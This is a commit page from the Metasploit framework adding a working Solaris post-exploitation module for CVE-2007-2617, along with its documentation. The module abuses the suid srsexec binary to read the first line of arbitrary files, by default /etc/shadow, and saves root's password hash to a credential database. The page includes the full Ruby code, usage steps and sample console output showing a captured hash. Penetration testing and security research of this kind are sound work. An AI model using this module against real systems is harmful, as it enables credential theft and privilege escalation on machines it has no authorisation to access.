Land #10628, Add Solaris srsexec Arbitrary File Reader module
commit
a7f53b9361
|
@ -0,0 +1,63 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
The vulnerable binary (`srsexec`) is included in the package Sun Remote Services
|
||||||
|
Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are
|
||||||
|
3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which
|
||||||
|
doesn't seem to available anymore. `srsexec`'s vulnerability is that it runs with the suid bit set,
|
||||||
|
and in debug verbose mode if given a file as input, the first line of that file will be echoed back.
|
||||||
|
Common exploitation is to read `/etc/shadow`, to get root's password hash, however any file can be read.
|
||||||
|
|
||||||
|
In lieu of this, a mock application was created in python and is available
|
||||||
|
[here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/srsexec).
|
||||||
|
Follow the instructions in the python script to install, `argparse` also needs to be sent
|
||||||
|
to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.
|
||||||
|
|
||||||
|
The output from `srsexec` is slightly odd. The first line of the file will be
|
||||||
|
after `binaries file line: ` and truncated at 20 characters. If the output is longer than 20 characters,
|
||||||
|
then the next line will start with the last 2 characters from the previous line, followed by the next
|
||||||
|
18 characters, and so on.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Get a user level session
|
||||||
|
4. Do: ```use solaris/escalate/srsexec_readline```
|
||||||
|
5. Do: ```set session [#]```
|
||||||
|
6. Do: ```run```
|
||||||
|
7. You should be able to read the first line of a file.
|
||||||
|
8. If `/etc/shadow` is selected, check `creds`.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**File**
|
||||||
|
|
||||||
|
The file that should have the first line read. Default is `/etc/shadow` and root's hash will be databased.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Solaris 10 u9 with mock binary and python 2.4
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 post(solaris/escalate/srsexec_readline) > run
|
||||||
|
|
||||||
|
[+] 3.2.4 is vulnerable
|
||||||
|
[+] Raw Command Output: verify_binary(vFYZf)
|
||||||
|
srsexec: binary_name: vFYZf
|
||||||
|
srsexec: name_buf: vFYZf_______________
|
||||||
|
binaries file line: root:MW7h.vpI1Kq1g:1
|
||||||
|
binaries file line: :17599::::::
|
||||||
|
smmsp:NP
|
||||||
|
Security verification failed for binary: vFYZf
|
||||||
|
see SYSLOG(/var/adm/messages) for errors
|
||||||
|
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
|
||||||
|
[+] Adding root's hash to the credential database.
|
||||||
|
[*] Post module execution completed
|
||||||
|
msf5 post(solaris/escalate/srsexec_readline) > creds
|
||||||
|
Credentials
|
||||||
|
===========
|
||||||
|
|
||||||
|
host origin service public private realm private_type
|
||||||
|
---- ------ ------- ------ ------- ----- ------------
|
||||||
|
1.1.1.1 root MW7h.vpI1Kq1g Nonreplayable hash
|
||||||
|
```
|
|
@ -0,0 +1,107 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Solaris::System
|
||||||
|
include Msf::Post::Solaris::Priv
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Solaris srsexec Arbitrary File Reader',
|
||||||
|
'Description' => %q{ This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
|
||||||
|
When srsexec is executed in debug (-d) verbose (-v) mode,
|
||||||
|
the first line of an arbitrary file can be read due to the suid bit set.
|
||||||
|
The most widely accepted exploitation vector is reading /etc/shadow,
|
||||||
|
which will reveal root's hash for cracking.},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'h00die', # metasploit module
|
||||||
|
'iDefense' # discovery reported anonymously to https://labs.idefense.com
|
||||||
|
],
|
||||||
|
'Platform' => [ 'solaris' ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2007-2617'],
|
||||||
|
['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
|
||||||
|
['URL', 'https://www.securityfocus.com/archive/1/468235'],
|
||||||
|
['EDB', '30021'],
|
||||||
|
['BID', '23915']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'May 07 2007',
|
||||||
|
))
|
||||||
|
register_options([
|
||||||
|
OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def suid_bin_path
|
||||||
|
'/opt/SUNWsrspx/bin/srsexec'
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
if is_root?
|
||||||
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||||
|
end
|
||||||
|
|
||||||
|
# This ls is based on the guidance in the sun alerts article
|
||||||
|
unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
|
||||||
|
unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
|
||||||
|
unless $1
|
||||||
|
print_error 'NetConnect uninstall not found, either not installed or too new'
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
version = Gem::Version.new($1.split(".").map(&:to_i).join('.'))
|
||||||
|
unless version.between?(Gem::Version.new('3.2.3'), Gem::Version.new('3.2.4'))
|
||||||
|
print_error "#{version} is not vulnerable"
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
print_good "#{version} is vulnerable"
|
||||||
|
|
||||||
|
unless setuid? suid_bin_path
|
||||||
|
vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
unless check
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
flag = Rex::Text.rand_text_alpha 5
|
||||||
|
output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
|
||||||
|
vprint_good("Raw Command Output: #{output}")
|
||||||
|
|
||||||
|
# The first line of the file is cut at 20 characters.
|
||||||
|
# If the output is longer than 20 characters, then
|
||||||
|
# the next line will start with the last 2 characters from the previous line,
|
||||||
|
# followed by the next 18 characters.
|
||||||
|
|
||||||
|
formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map { |line|
|
||||||
|
(line.length == 20) ? line[0..17] : line
|
||||||
|
}.join
|
||||||
|
|
||||||
|
return if formatted_output.empty?
|
||||||
|
|
||||||
|
print_good("First line of #{datastore['FILE']}: #{formatted_output}")
|
||||||
|
|
||||||
|
return unless datastore['FILE'] == '/etc/shadow'
|
||||||
|
print_good("Adding root's hash to the credential database.")
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :session,
|
||||||
|
session_id: session_db_id,
|
||||||
|
workspace_id: myworkspace.id,
|
||||||
|
post_reference_name: self.fullname,
|
||||||
|
username: formatted_output.split(':')[0],
|
||||||
|
private_data: formatted_output.split(':')[1],
|
||||||
|
private_type: :nonreplayable_hash
|
||||||
|
}
|
||||||
|
create_credential(credential_data)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue